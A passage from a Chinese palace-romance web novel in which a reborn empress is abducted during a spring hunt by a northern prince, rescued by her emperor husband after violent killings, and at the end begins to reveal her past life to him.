许怀鹤的怀抱一如既往的温暖且让人安心,容钰往里缩了缩,让两人贴的更紧,睡意如同潮水将她掩盖,她很快就闭上眼,呼吸变得绵长,陷入熟睡之中,也就没有注意到在她的身后,许怀鹤轻抚她的耳朵尖,将碎发往后撇,深深地注视着她的侧颜,目光深而沉,不知道在想些什么。 “你究竟瞒了我什么呢?”许怀鹤的声音很低,他自言自语,语气中却带着疯狂的偏执,“阿钰,你什么时候会告诉我呢?” 睡梦中的容钰毫无反应。 第二日醒来时,许怀鹤已经先一步离开,知晓她有孕睡眠浅,特意没有惊动她,让她安稳地睡了一觉。 容钰虽然不用亲自上阵参加春猎,但也抛弃了繁杂的衣裙,和其他人一样换了更加利落的骑装,只是在颜色和形制上稍有区分,红色如火,金线绣着山茶和凤纹,头发也梳成了高髻,不留碎发散发在脑后,用玉簪固定。 用过早膳,发髻和浅淡的妆容都是在赶往猎场的马车上,由春桃和青竹帮忙完成的,容钰靠在柔软的车壁上,又浅浅休息了一会儿,直到马车缓慢停下,她才睁开眼,被青竹扶着下了马车,望向偌大的猎场。 这并不是她第一次来春猎的猎场,男女的坐席分为左右两边,粗粗一眼望去几乎已经坐满了人,高门贵女和贵公子们都已经到了,互相都能看到对面,有已经定了亲的见到对方,羞涩的头都不敢抬。 往日她就坐在贵女的这一边,坐在最上面的位置,旁边就是妹妹永宁,而如今,她的位置则是中间上首的两个空位之一,母后曾经坐过的地方,也是后来皇贵妃霸占的位置。 想到永宁和皇贵妃,容钰不由得有一瞬间的恍惚,这两个人的名字她已经许久都没有听到了,对方的面容甚至都变得有些模糊,她的恨意也随着这两个人的死去变得稀薄,如今再想起,似乎已经是陌生人。 微风吹动面纱,容钰回神,抬手压了压,缓缓走向了许怀鹤身边,被许怀鹤牵住手心包裹起来,带着她一同跨上台阶,接受众人的礼拜,再一同落座。 坐稳后,容钰的视线轻轻飘向左侧,她原本只想看一看耶律古和耶律雪峰是否 真的到了,不曾想耶律雪峰胆子太大,竟然直直地朝她看了过来。 两人的眼神在空中一碰,容钰心都颤了颤,藏在身体里的恐惧又一次浮出,原本温暖的春风也变成了上一世前往漠北时刺骨的寒风,被耶律雪峰调戏,语言侮辱的回忆瞬间占据了脑海,容钰想要挪开眼,身体却像被冻住了。 好在对方只是看了一眼,就飞速收回了视线,慢条斯理地擦着手中的刀柄,似乎并没有在意,容钰这才松了口气,心想面纱果然有效果,僵硬的身体终于开始复苏,也收回了视线,朝着右侧看去,一眼就看到了和舅母坐在一起的顾云溪。 顾云溪似乎在苦恼什么,双手托着腮,有些无奈地看向坐在旁边的母亲,嘴唇一张一合,又摇了摇头,容钰心里轻快了不少,她弯了弯唇,听下面的礼官高声宣布完春猎的规则,等待着春猎开始。 到场的人只要情愿,都能参加这场春猎,女子也能参加,不拘于身份,玩一玩也是好的,只要能猎到猎物就不算丢脸,而在场上粗壮的燃香燃尽之前,最终获得猎物总量最珍贵的那位,就是今年的魁首。 魁首自然能获得大量的赏赐,如果说科举选的是文状元,那春猎选的就是武状元,和文状元一样,会入许多高门贵族世家的眼,被选为夫婿,指不定就能一举高飞,官途亨达。 在这样的诱惑下,不少人都跃跃欲试,随着许怀鹤站起身,一声令下,许多人都挑好了猎场提供的马匹,带上了自己的宝剑武器,冲向了茂密的树林,开始寻找起心仪的猎物。 其余没有参加春猎的人也不会无聊,周遭早就准备好了帐篷,供他们品茶谈笑,又或是投壶玩乐。 作为新帝,许怀鹤也下了场,但他只是提供个彩头,猎只兔子或是小鹿就好,离开前,许怀鹤依旧有些不放心,握着容钰的手低声道:“我很快就回来。” 人多眼杂,虽然他已经提前布置好了暗线,周遭也有羽林军和御前军驻守,还有镇国公的军队蓄势待发,确保春猎不会出岔子,能够按计划进行,但他还是不放心离开容钰太久。 容钰晃了晃他的衣袖,本来想勉强弯唇笑笑,但意识到面纱遮住了自己的面容,许怀鹤也看不清自己的神情,索性抿住了唇角:“好。” 容钰心里虽然也不太安稳,但许怀鹤留给她的侍卫已经足够多,她也不信有人敢在这样的场合下正大光明地行刺,又或是有其他什么动作。 她心里提防着耶律古和耶律雪峰,但她并不认为这两人真有那么冲动,会选择孤身在大夏的地盘上动手,至少也得忍到回漠北,就如同上一次那样,等上几个月,才向大夏开战。 事到如今,她也已经想通了,漠北和大夏的一战在所难免,漠北野心太大,对着大夏虎视眈眈,就算这两年不开战,迟早有一天也会动手,而她只希望舅舅不要像上一世那样战死沙场,坐镇后方也是好的。 人一散,顾云溪就立刻逃离了母亲身边,不愿再听母亲为她挑选夫婿的唠叨,求救一样看向容钰。 容钰心领神会地笑起来,对她招了招手,顾云溪连忙一路小跑过去,跟着容钰进了帐篷,只留下顾林氏在后面干着急。 跟在皇后娘娘身边,顾云溪反而自在了许多,她捧着茶杯,小声问:“娘娘觉得,今年的春猎,谁会拔得头筹呢?” 有着上一世的经历,容钰已经知道了这个问题的答案,这一次会是漠北的大王子耶律古获得胜利,他的猎物是一吊睛白额的大虎,谁都没办法越过他。 但她还是陪顾云溪猜测:“表哥不是也下场了么,那我猜顾明之表哥能拔得头筹。” 顾云溪吐了吐舌头:“我不信,我哥哥一点都不擅长武艺,他的骑射是六艺里面最差的,他最多猎一只野鸡!” 容钰被逗笑了,帐篷里除了春桃和青竹,就是熟悉的顾云溪,她干脆解下了碍事的面纱,也端起桌上的茶杯,抿了一口春桃特意为她泡的红枣汤。 她和顾云溪又打起了叶子牌,一片笑闹声中,谁也没有注意到原本结实的帐篷后忽然出现了一道锋利的刀痕,有轻微的撕破声传来,想要过去查看的侍卫被无声放倒,破口越来越大,最终,耶律雪峰从里面钻了进来。 耶律雪峰的目标十分明确,进入帐篷后,立刻就朝着坐在中心的女人扑了过去,从背后一把勒住了容钰的脖子,将人向后带,随时准备逃跑。 这些人太难缠,他假装骑马入了密林,好不容易避开耳目,却没想到许怀鹤这个疯子居然在皇后的身边布置了这么多暗桩和护卫,就算是他,也耗费了一番功夫,还负了伤,才终于靠近了帐篷,挟持住了皇后。 耶律雪峰用漠北话骂了一声,在帐篷内其余人都没有反应过来时,飞速朝后退,而青竹终于从惊愕中回神,立刻上前,却被耶律雪峰一脚踹倒在地,吐出一口鲜血。 春桃和顾云溪放声尖叫,顾云溪慌的拿杯子去砸耶律雪峰,春桃大喊着“有刺客”,但茶杯被耶律雪峰轻易地躲过,就在他们呼喊的瞬间,耶律雪峰就已经离开了帐篷,抱着容钰飞奔,眨眼间就离开了她们的视线。 青竹挣扎着从地上起身,心中只有一个信念,那就是一定不能让皇后娘娘出事,哪怕自己拼了这条命,也必须要将皇后娘娘带回来。 她捂着腹部,随手擦去嘴角的血就冲了出去,春桃和顾云溪已是六神无主,春桃一边哭一边往外跑,大声喊人过来,顾云溪手抖腿也抖,跌跌撞撞跑了出去,在看到远处骑马赶过来的父亲时,强撑着喊了一声“皇后娘娘被漠北的人带走了”,两眼一翻,不省人事。 镇国公的脸色阴沉,让人将顾云溪带回顾林氏所在的帐篷,又查看了皇后原本所在的帐篷,立刻翻身上马,带着一支骑兵,顺着地面脚步留下的痕迹向前追。 同一时间,耶律雪峰的体力惊人,已经带着容钰冲进了另一侧的密林中,面前就是山谷,他毫不犹豫地往下跳,想要消掉脚印。 耳边风声呼啸,容钰终于后知后觉地回过神,她盯着将她掳走的人,她永远都不会忘记这张脸,这张恶心的,让她害怕的,恐惧的脸! 耶律雪峰! 她发出一声尖叫,紧紧抓住了耶律雪峰的领口,另一只手则一直护着自己的小腹,浑身都在颤抖,她想要怒斥质问耶律雪峰,却因为太恐惧而说不出话。 耶律雪峰到底想干什么?他要将自己带到哪里?上一世不是这样的,这和上一世发生的完全不同,耶律雪峰不要命了吗?!漠北的人是不是都疯了?! 许怀鹤……许怀鹤一定会找到自己的,许怀鹤会保护她的,她只需要等许怀鹤赶来,不要怕,不要怕…… 听到怀中的女人发出了尖叫,耶律雪峰终于有时间低头仔细看,而在看到容钰的脸的那一刻,耶律雪峰原本就因疾跑而猛烈的心跳再次加速,他的眼中闪过惊艳和痴迷,就连手臂被山谷缝隙的石块刮破都毫不在意。 真美。 原来面纱下的皇后竟然如此美貌,春猎刚开始时,隔着面纱,他遥遥 望了皇后娘娘一眼,那时他还和大哥说,传说中的绝世美人也不过如此,但此刻他才明白,传闻中的一切都是真的,自己先前错的离谱,他怀中的人就是天上的仙女,是草原上的圣洁的明月。 明月的身上散发着好闻的香气,耶律雪峰下意识地低头,想要轻嗅,容钰惊恐地抬起手地反抗,一巴掌拍在了耶律雪峰的脸上,耶律雪峰动作一顿,眼神终于清明了几分。 他咧嘴笑了笑,毫不在意,皇后娘娘巴掌的力度还不如虫子咬了一口,他抓住悬崖上垂下来的藤蔓,小臂发力,单手抱着容钰,缓缓跳下了最后一块石头,来到了山谷的底部,彻底消除了踪迹。 第74章 第74章这个疯子! 山谷下有一条不知名的小溪,应该是山泉水溢出来自然形成的,耶律雪峰松开容钰,在溪水边蹲下,随手捧了把水,处理手臂上和身上的伤口。 他将刀柄放在腿上,余光看到容钰往旁边退了几步,似乎是想要逃跑,又笑了一声,开口道:“想跑?你能跑到哪里去?” 容钰被耶律雪峰突然开口的声音惊的抖了抖,她的身体依旧因为害怕在微微打颤,特别是小腿,腿软的几乎站不住,能往旁边退两步已经是她的极限。 闻言容钰也停下来,她抿了抿唇,不想回答耶律雪风的话,抬头看了眼高高的悬崖,心里的绝望弥漫,是啊,她想跑,又能跑到哪里去呢。 这么高的山谷,她凭借着自己根本爬不上去,就连呼喊声都传不到上面,她真的能被许怀鹤找到吗? 山谷底下都是碎石,容钰环顾了一圈,找了一块看上去比较干净的石头走过去,慢慢护着小腹坐下来,盯着杂草丛生的地面发呆。 她不断胡思乱想着许怀鹤究竟什么时候能够来接她,顾云溪表妹,还有春桃和青竹是不是都吓坏了?青竹似乎受了伤…… “你不问我会不会杀了你?” 耶律雪峰处理完伤口,简单用布包扎好,他转头看向容钰,视线黏在容钰的脸上,虽然皇后娘娘略有狼狈,但依旧不减半分美貌,反而更加显得楚楚可怜,惹人怜爱极了,忍不住就想要逗弄一下面前的美人,看美人露出更加惊慌失措的样子,满足自己的施虐欲。 听到耶律雪峰的话,容钰顿了顿,心里有一瞬间的惊惧,但又很快镇定下来,她不傻,耶律雪峰将她带走,一直到现在都没有对她动手,就是要她活着,不可能会杀了自己。 耶律雪峰动手太快,但并不隐蔽,春桃她们一定会尽快去叫人来寻自己,外面还有重重兵力包围,耶律雪峰要想活命,就必须把自己当人质,不敢轻易对自己动手。 于是容钰依旧没有搭理耶律雪峰,还刻意撇了撇头,转了下身子,背对着耶律雪峰,一点都不想看见对方的脸。 被美人拒绝厌恶的感觉也别有一番风味,耶律雪峰咧嘴一笑,他站起身,走到容钰面前,视线往下瞄,划过容钰丰满的胸脯,又落在容钰一直护着小腹的手上,这才想起大夏的皇后娘娘已经有了身孕。 “啧,”耶律雪峰不满意地龇牙,但他很快想到了什么,眼中恶意满满,“皇后娘娘,你如今被我掳走,名声肯定坏了。” 耶律雪峰盯着她,毫不掩饰自己的垂涎:“你们大夏人不是最看重女子的声誉吗?你又是皇后,被男人掳走,失了身说出去肯定不好听吧?许怀鹤也会怀疑你不贞洁,你还不如跟了我,我可不介意你有身孕,只要你跟着我,孩子生下来那就是我的,大不了我们再多生几个。” 其实按照漠北的习俗,容钰若是成了他的妻子,跟着他生活,等回了漠北,容钰就会是他们几个兄弟共同的妻子,要为他们每个兄弟都生孩子。 但容钰实在太美,耶律雪峰有点舍不得将容钰和自己的兄弟共享,而且容钰可是他花费了大力气才抢过来的,其他兄弟都没出力,凭什么享用? 容钰被耶律雪峰说的话惊呆了,她微微张着唇,瞳孔震颤,从来没有想过耶律雪峰居然会这么无耻下作! 上一世耶律雪峰在护送她去漠北和亲的途中,虽然也语言调戏侮辱她,但从没像这样直白恶心,居然觊觎人妻,还说出这样冠冕堂皇,令人唾弃的话! “你做梦!”容钰瞪大了眼睛,被气的又一次浑身发颤,她伸出纤细的手指,怒气冲冲地指着耶律雪峰,一字一顿地警告道,“你这个无耻小人,我绝不会跟你,你等着被抓住送进牢狱吧!” 美人嗔怒也美极了,更何况美人说出的话都没有一丝威慑力,还什么“等着被抓住送进牢狱”,这样天真的话居然都能说出口,耶律雪峰哈哈哈大笑,差点笑出了眼泪。 要是自己真被抓住,不是乱箭穿心而亡,就是被疯子许怀鹤做成人彘,进牢狱的机会都不会给他,大夏的皇后怎么会如此纯真,天真无邪,当真是未经世事的少女,不染一丝尘埃的明月珍宝。 这样珍贵的明月,他自然不能让许怀鹤一个人独享。耶律雪峰笑着凑过来,在容钰的面前蹲下,迫使容钰看着自己,继续诱导:“皇后娘娘,你不会觉得陛下是真的爱你吧?” 容钰又愣了一下,她刚打定主意再也不要听耶律雪峰胡言乱语,对方嘴里的鬼话只会让人生气,就被耶律雪峰突如其来的这一句问的愣住。 还没等她反应过来,就听到耶律雪峰继续开口:“我可是听说了,你父皇当年杀了先帝,嫁祸给了先太子,最后还带着兵杀了先太子和先太子的女人,许怀鹤的父母都被你父皇杀了,他居然还能娶你,让你当皇后,这不是明摆着羞辱你吗?” 耶律雪峰挑了挑眉,他咧嘴笑道:“不过你这张脸,的确能值一个皇后的位置,许怀鹤指不定就是看上了你这张脸,又畏惧镇国公的兵权,所以才装出一副深情的模样,你可不要被他骗了。” 容钰今日已经数不清是第几次心绞,似乎有什么在脑海中碎裂开来,她愣愣地抬手捂住胸口,心痛的感觉让她几乎喘不过气,面色在一瞬间发白。 “什么?”容钰轻轻地开口,声音破碎的不成调,“原来是这样么?” 不需要耶律雪峰回答,也不需要耶律雪峰再多说什么,容钰已经明白了,她的眼神空洞,呈现出一种死灰:“怪不得。” 怪不得那段时间,她待在坤宁宫里守孝,见到的人却并不多,宫人们三缄其口,一问皆不知,总是有意无意地妨碍她出去,消息闭塞;怪不得许怀鹤登基,她封后那日见到舅舅,舅舅总是欲言又止,看向她的目光复杂,只道让她不要胡思乱想。 怪不得上一世许怀鹤哪怕手刃了那个男人,也无人反对许怀鹤登基,反而高呼他为明君,希望他能开创盛世;怪不得她从入宫后就再也没有从春桃那里听到外面的传闻,耳边只有赞美,许怀鹤也总说他们天生一对。 在守孝的那些天里,她真真切切地担心过,担心许怀鹤是先朝罪太子的遗孤,虽然身份合适,但总有污点,担心朝中会有反对的声音,以此为借口阻碍许怀鹤登基,却没想原来许怀鹤早就洗清了先朝太子的罪名,只是怕她难以接受真相,所以一直隐瞒。 许怀鹤瞒的真好啊,一直瞒她到现在,一直瞒她到从耶律雪峰的口中才得知真相。 她住在许怀鹤为她打造的黄金笼里,里面铺满了珍稀珠玉,奇珍异宝,绫罗绸缎,用爱将她圈养,为她挡住了一切不好的东西。 她怎么能怪许怀鹤呢?她有什么资格怪许怀鹤呢?是她的父亲杀了许怀鹤的双亲,她作为许怀鹤和杀父杀母仇人的孩子,有什么立场质问许怀鹤不将真相告诉她,怨恨许怀鹤隐瞒她? 容钰缓缓闭上眼,唇角流露出苦涩的笑容,这下轮到耶律雪峰愣住了,皇后的反应和他所想的完全不一样,皇后不应该愤怒,不应该对许怀鹤失望么? 他低头看着容钰微红的眼眶 和那两行清泪,心底生出几分怜惜,但又十分不解:“我说的可都是真的,许怀鹤这人一直在骗你,他对你没有真心,怎么样,要不要跟我走?” 容钰睁开眼,她抖了抖睫毛,坚定道:“不。” 两世的许怀鹤都对她用情至深,坚定地爱着她,为她报仇,为她付出一切,她也同样爱许怀鹤,她不会再怀疑,也不会再犹豫,更不会再胡思乱想。 她已经完全明晰了自己的心,从见到许怀鹤的那一刻起,她就已经被许怀鹤的惊鸿一瞥所深深吸引。 她绝不会辜负许怀鹤。 耶律雪峰还想说什么来动摇容钰,但山谷内突如其来的声响还是让他瞬间警惕了起来,立刻站起身,将刀柄握在手中,看向了身后的巨石。 脚步声轻的几乎没有,耶律雪峰立刻就判断出了对面绝对是高手,他眯了眯眼睛,在看到许怀鹤出现的一瞬间,还是没忍住惊了一下。 许怀鹤穿着黑色的骑装,身上有着几块深色的斑驳痕迹,耶律雪峰只闻着空气中的味道,就能判断那是血,而在看清许怀鹤手上提着的东西时,耶律雪峰目眦尽裂,他怒喝了一声,几乎就要失去理智,挥舞着刀柄向着许怀鹤砍去。 许怀鹤冷笑一声,丢掉了手中提着属于耶律古的头颅,圆鼓鼓的头在地上一直滚进溪水里才停下,鲜血瞬间染红了水面。 容钰愣愣地看着耶律古死不瞑目的双眼,她默默打了个寒颤,不由得往后缩了缩,视线却追随着许怀鹤,原本空洞的眼神都亮了起来。 她就知道,许怀鹤一定会找到她的。 眨眼间,耶律雪峰已经和许怀鹤过了十几招,他逐渐吃力,招架不住许怀贺凌厉的长剑,这才意识到许怀鹤并非他想象中的那样好对付,对方不光在丹药上有经世之才,在武功上也丝毫不落下风。 知道自己再打下去必死无疑,耶律雪峰立刻躲开许怀鹤的长剑,硬吃了许怀鹤一拳,闷哼一声,往后退了两步,来到容钰面前,伸手扣着容钰的肩膀。 血的味道瞬间掩盖住容钰的鼻尖,她没忍住呕了一声,听到耶律雪峰大吼道:“放我走,不然你的皇后就会立刻死在我……” 剩下的话他没能说完,因为镇国公早就带兵埋伏在了山谷上,最好的弓箭手悄无声息地顺着藤蔓爬到巨石上方,在耶律雪峰丝毫没有注意的时刻,就已经架好了弓弩,对准了耶律雪峰的头颅,抓住时机,一击必中。 飞箭瞬间穿过了耶律雪峰的脑袋,容钰闭上眼,有温热的液体溅在她脸上,扣住她肩膀的手也瞬间脱力,随着尘土飞扬,耶律雪峰倒在了地上,和他的哥哥耶律古一样死不瞑目,脸上带着不敢置信和怨恨。 容钰不敢睁眼,睫毛颤动,沉檀香气越过血腥的味道盖住了她,她又一次落入了那个熟悉的温暖的怀抱。 许怀鹤的心跳好快,容钰慢慢睁开眼睛,视线落在许怀鹤手中的剑柄上,那枚镶嵌的花型珍珠染了血,但她却越看越眼熟,这不是她丢的那枚吗? 把这么一枚女人用的珍珠镶嵌在剑柄上,许怀鹤真是…… 容钰失笑,刚才恐怖血腥的一幕幕忽地从她脑海里褪去,她主动抬手,捧住许怀鹤的脸,刚想说一声“我没事”,就看到许怀鹤突然深深吸了一口气,有一滴泪从眼角滑落,滴在了她的手背上。 容钰彻底愣住了。 “是我不好,”许怀鹤的声音有一丝微颤,“是我没有保护好你。” 这一刻的情绪太复杂,容钰一时失语,她盯着许怀鹤的眼睛,再一次确认了许怀鹤的爱意,轻轻弯唇:“你最后不是保护我了么?我没事的,孩子也没事。” 许怀鹤紧紧抱着容钰的腰,像抱着一件失而复得的珍宝,他丢掉的理智终于逐渐恢复,眼中的杀意散开,将下巴轻轻搭在容钰的颈窝,呢喃道:“别离开我……” “好,”容钰回抱住许怀鹤,轻声许下只有她自己知道多么郑重多么永远的许诺,“我绝不会离开你。” 许怀鹤只将她抱得更紧。 在知道容钰被耶律雪峰掳走的那一刻,许怀鹤就已经失去了一半的理智,暗桩以最快的速度控制了还在给耶律雪峰打掩护的耶律古,许怀鹤手持长剑立在跪地的耶律古面前,耶律古依旧嘴硬,不肯说出容钰的下落。 许怀鹤的耐心消耗殆尽,一剑砍下了耶律古的头颅,耶律古到死都没有想到,许怀鹤居然说杀只有杀,没有一丝手软。 这个疯子! 马匹以最快的速度冲向耶律雪峰逃窜的方向,许怀鹤手里提着耶律古的头颅一路拖行,其他人都在犹豫该不该越过山谷继续追,只有他看着悬崖边的痕迹,选择毫不犹豫地跳了下去,旁边的镇国公都没能拉住,差点以为他疯了,以为大夏今日不光会失去一位皇后,就连新帝也没了。 许怀鹤跳的太决绝,镇国公在震惊之后还是选择了相信许怀鹤,让探子和弓箭手先下去,探子很快就将消息带了回来,皇后娘娘和耶律雪峰就在下面,而陛下不等支援,就已经和耶律雪峰交手。 镇国公急得长吁短叹,生怕陛下又出什么意外,被耶律雪峰得手,好在最后的结果是好的,耶律雪峰已死,皇后娘娘和陛下都安然无恙。 这一日的跌宕起伏,镇国公实在不想再经历第二遍,他送陛下和皇后娘娘上了马车,自己骑马走在旁边,再回想还是觉得惊心动魄。 漠北计划的很好,用随行的漠北人伪装成耶律雪峰,而真正的耶律雪峰则悄悄带走皇后娘娘作为人质,耶律古前去和许怀鹤谈判,签订国书,若是许怀鹤不答应,就杀了容钰,让耶律雪峰逃走;若是耶律雪峰失手,就抓住机会行刺,刺杀许怀鹤。 但陛下早有防范,只是没料到耶律雪峰竟然能突破重重包围,在那样短的时间里就带走皇后。 不过漠北既然自寻死路,那就别怪大夏开战了。 第75章 第75章我重活了一次。 马车内,完全放松下来后,容钰后知后觉地感到了心惊和害怕。 如果漠北做的再绝一点,耶律雪峰不给自己留后路,在见到许怀鹤的第一刻就杀了她,连同她肚子里的孩子,那她如今早就和上一世一样死透了,像这样重生的大机缘,自己难道还能有第二次吗? 如果那支箭的速度再慢一点,被耶律雪峰躲了过去,她就会彻底沦为耶律雪峰手中的人质,刀俎上的鱼肉,要么被耶律雪峰带走,带回漠北,受尽折磨侮辱,要么依旧死在耶律雪峰的手上。 容钰深深吸了一口气,喉咙都在颤抖,她将脸埋在许怀鹤已经换下甲胄的胸膛上,隔着一层薄薄的外衣,感受着许怀鹤滚烫的体温。 一闭上眼睛,耳边就是刀刃割破皮肉,令人牙酸的声音,似乎还有温热的血液飞溅在脸上,容钰打了个哆嗦,又往许怀鹤的怀里紧靠了几分,死死抓着许怀鹤的领口不肯松开,蜷缩在许怀鹤的怀里,任由许怀鹤用披风裹住她。 “我在呢。”许怀鹤抱着她,轻轻拍打着她的后背,像哄幼童那样语气温柔,眼底却聚集着风暴,“别怕,没事了。” “青竹呢?”容钰轻声问,声音里满是担忧,“她是不是受伤了?” “她没事,”许怀鹤摸了摸容钰微凉的侧脸,“只是受了些内伤,需要静养一段时间,我再挑一个会武功的侍女跟着你,好不好?” 知道许怀鹤是担忧自己,再加上被耶律雪峰掳走的这一遭,容钰也明白自己的身边是该多备几个会武功的侍女和侍卫以防万一,点了点头答应下来,心想着一定要多给青竹送些伤药补品还有赏赐,春桃也要给,还有受惊的云溪妹妹。 鼻尖萦绕着沉檀香气,容钰手松了松,担惊受怕和惊心动魄之后的疲惫涌上来,她在许怀鹤的低声轻哄当中沉沉睡去,没注意到马车并没有回猎场,而是直接 赶回了皇宫。 今日出了这么大的事,春猎也被迫终止,无法再进行下去,帐篷里,顾云溪悠悠转醒,一睁眼就下意识抓住了旁边侍女的手,急切地问道:“皇后娘娘,皇后娘娘怎么样了?” 侍女连忙低声回复:“皇后娘娘和陛下已经回皇宫去了,小姐放心,皇后娘娘凤体安康,平安无虞,漠北的两个贼人也已经伏诛。” 顾云溪盯着她,抿了抿唇:“你没骗我吧?” “不敢。”侍女连忙弯腰,“奴婢怎么敢拿皇后娘娘和陛下说谎!” 顾云溪这才彻底松了一口气,她起身整理好衣襟走出帐篷,发现来参加春猎的人都已经陆陆续续散了,原本热闹非凡的猎场眨眼间就变得冷清起来,众人都抿紧了嘴,对今日之事噤若寒蝉。 在听到皇后娘娘被漠北的人带走时,众人心里都是一惊,这可关乎着大夏的颜面,若皇后娘娘受辱,漠北和大夏必定会开战! 更别提皇后娘娘肚子里还怀着龙胎,可千万马虎不得,这是陛下的第一个孩子,又是皇后娘娘所出的嫡子,若是男孩,以陛下宠爱皇后娘娘的程度,将来必定就是太子啊! 但好在皇后和陛下都安然无恙,众人高高提起的心也终于放了下来,只是想到开战在即,前路未卜,众人的内心还是有些不安,不知道这位年轻的帝王,如今的新帝许怀鹤是否能够镇得住场面,能够让大夏赢下漠北? 顾云溪也跟着忐忑起来,知道这一战在所难免,又从侍女那里得知父亲一路护送陛下和皇后娘娘走了,她随着侍女带路找到了自家的马车,刚刚掀开车帘,就被母亲顾林氏一把抓住了手腕。 顾林氏依旧惊魂未定,她一手拍着胸口,一手紧紧握着女儿顾云溪的手腕,双眼瞪大,喃喃道:“要打仗了,不得了,这可不行,千万不能在这时给你定下婚事,万一男方出了什么事……” “不不不,”顾林氏说着,又摇了摇头,“菩萨见谅,菩萨见谅,我说了不吉利的话,千万别出事,都要好好的。” 顾云溪听着有些想笑,但又怕被顾林氏数落,缩在马车的角落里,靠着软垫,用帕子掩住唇角,悄悄地憋着笑意。 母亲打消了给她尽快订婚时的念头就好,她也不想这么快就嫁人,她不知道自己要嫁什么样的人,想嫁什么样的人,又没有喜欢的郎君,而且皇后娘娘也说了,会亲自为她把关,让她嫁给世上最好的郎君。 顾云溪这么想着,又听到顾林氏继续嘟囔道:“漠北的人真是一群莽夫,空有武力不长脑子,真不知道他们非要来大夏的地盘,在春猎上来闹些什么?这下好了,都死了吧,死的真快……” 顾云溪这下更想笑了,她也没忍住笑出了声,果不其然被顾林氏怒瞪了一眼。 同一时刻,容钰乘坐的马车已经快要到皇宫,京城繁华街道两边的喧闹声遥遥,她因为眠浅,很快被惊醒,略有些疲倦地睁眼,突然心想,耶律雪峰和耶律古这一世死的太快了。 她在许怀鹤的怀中换了一个姿势继续窝着,微微仰头就能看到许怀鹤冷冽的侧脸,和许怀鹤炽热的体温是截然不同的感觉。 这一世和上一世有太多的不同,上一世自己死后,耶律雪峰和耶律谷都还活着,耶律古作为漠北最勇猛的勇士,率领漠北的大军踏平了大夏的边境,也在那场战争中杀死了她的舅舅镇国公,让大夏差一点就陷入万劫不复的境地。 往事不堪回首,容钰的心颤了颤,莫名又联想到了皇贵妃和永宁,还有王家和刘家,他们和耶律雪峰以及耶律古一样,在上一世都风光了很久才落败,而明明上一世最先死的闻锐达,如今却还好好的活着,在江南任职。 容钰甚至生出了一种荒谬的错觉,上一世和自己有过节,有仇恨之人在这一世都死的格外快,而且他们的死都和许怀鹤有丝丝缕缕的关系…… 脑海里发出危险的叫嚣声,直觉告诉容钰不能再深想下去,否则会触及到可怕的真相,她莫名打了个寒颤,将她抱在怀里的许怀鹤敏锐地察觉到了她细微的动作,低下头:“阿钰?” “没事。”容钰勉强弯了弯唇角,眼底残留着还没有散去的心慌,“我没事了。” 下了马车,许怀鹤依旧将容钰抱着上了软轿,回到了坤宁宫,全程都没有松开过双手,跟在后面的宫人们狠狠低着头,不敢窥视帝后之间的亲密。 坤宁宫内,宫女们早就忙碌了起来,替容钰备好了热茶,又烧好了水,往浴桶里撒了花瓣和秘制的香膏,恭恭敬敬地等在旁边,准备伺候皇后娘娘洗浴。 将身体浸在温热的水里,感受着舒适,容钰用指尖挑起一片花瓣,在手心里揉碎又松开,沉沉呼了一口气。 下人们已经被许怀鹤挥手赶出去了,墨发垂在肩膀边被热水打湿,容钰往后靠上了许怀鹤的胸膛,下一瞬就被许怀鹤双手勾住腰肢转了过来,没有了衣物的遮挡,又一次紧紧贴在一起。 即便已经亲密过许多次,在和许怀鹤这样相对时,容钰还是会禁不住脸红心跳,她感受着许怀鹤的指尖在腰上游走,又察觉到许怀鹤那处有变化,想起之前在浴池里的胡闹,抬手推了推许怀鹤的肩膀,低声道:“不许闹我,当心孩子。” “嗯。”许怀鹤沉沉应了,但指尖依旧没停,拨弄轻抚过红樱,看着面前的爱妻脸颊绯红,发出嘤咛,没忍住吻上了对方的双唇。 有腹中的孩子在,两人自然没能做到最后一步,许怀鹤克制地收手,而容钰已是气喘吁吁,手脚酸软,原本就疲惫的身体如今更是昏昏欲睡,被许怀鹤抱着穿好衣服,又从浴房里抱着出来上了拔步床,靠在软枕边,这才徐徐睁开眼。 许怀鹤换了身靛蓝的纱袍常服,他极少穿这样的颜色,比起初见的那一抹白添了几分人间烟火气,但又比大婚那日的红少了几分炽热,多了几分沉静。 容钰看着许怀鹤的侧脸,一时有些愣怔,直到许怀鹤从桌边起身,放下了手中大太监送来的书卷,容钰才恍然梦醒,叫住了许怀鹤:“许……陛下。” 许怀鹤脚步顿住,他抬手示意大太监在外面等着,转头回到了容钰靠着的软枕边,伸手帮容钰挑开耳边的碎发,温声道:“我不走,就在这陪你,怎么了?” 容钰一颗心咚咚直跳,她伸出手,抓住了许怀鹤的手指,虚虚圈着,像是抓住了救命的稻草,她一直以来支撑的浮木,鼓足了勇气询问道:“陛下,大夏是不是要和漠北开战了?” 许怀鹤沉默了一瞬:“是。” “阿钰不必担忧,这一战大夏必胜,漠北必输无疑,他们越不过边境,只能向大夏俯首称臣。”许怀鹤反手回握住她,语气坚定,带着令人安心的安抚意味。 虽然已经知道大夏和漠北这一战在所难免,但听到许怀鹤亲口承认,容钰的心还是重重一沉,眼睫颤动,继续问出了她最想问的那个问题,带着深深的祈求:“舅舅,镇国公也会上前线吗?可以不让他去边关打仗么?” 许怀鹤这次沉默的时间更久了一些,他看着容钰惊惧交杂的神情,不明白为何容钰会如此害怕,比被耶律雪峰掳走还要更恐惧,心里之前那股怪异感又一次浮现了出来。 他知道容钰对他有所隐瞒,但他一直猜不出究竟是什么事,但他却有强烈 的预感,似乎今日,他马上就能得知问题的答案。 “自然。”许怀鹤缓缓开口,眼睛紧紧盯着容钰的脸,不肯放过一丝一毫的细节,“镇国公是有勇有谋的大将军,若是他带兵抵御漠北,自然能战无不胜,且镇国公已经向我请示,说要亲自带兵上阵杀敌,已经准备不日就赶往边关了。” 他每说一句话,容钰的脸色就更差一分,到了最后已经雪白一片,像是受到了极大的惊吓,不安极了,就连被他握住的手都迅速变得冰凉起来。 许怀鹤说完就不再说话,静静地看着容钰,等待着容钰主动开口,而他并没有等多久,就听到容钰低着头,带着细微的哭腔道:“能不能,不让舅舅去?” 即便内心已经十分焦躁,想要替容钰抹去眼角的泪,但许怀鹤还是闭了闭眼,耐心地引诱:“为何?” 他看着容钰用另一只手抓着锦被,将表皮抓出了褶皱,指甲都抠破了丝线,破坏了上面精细的绣纹,知道容钰的内心在反复挣扎,又等了片刻,终于听到容钰深吸了一口气,颤抖着声音对他说:“你信这世上有前世今生吗?” 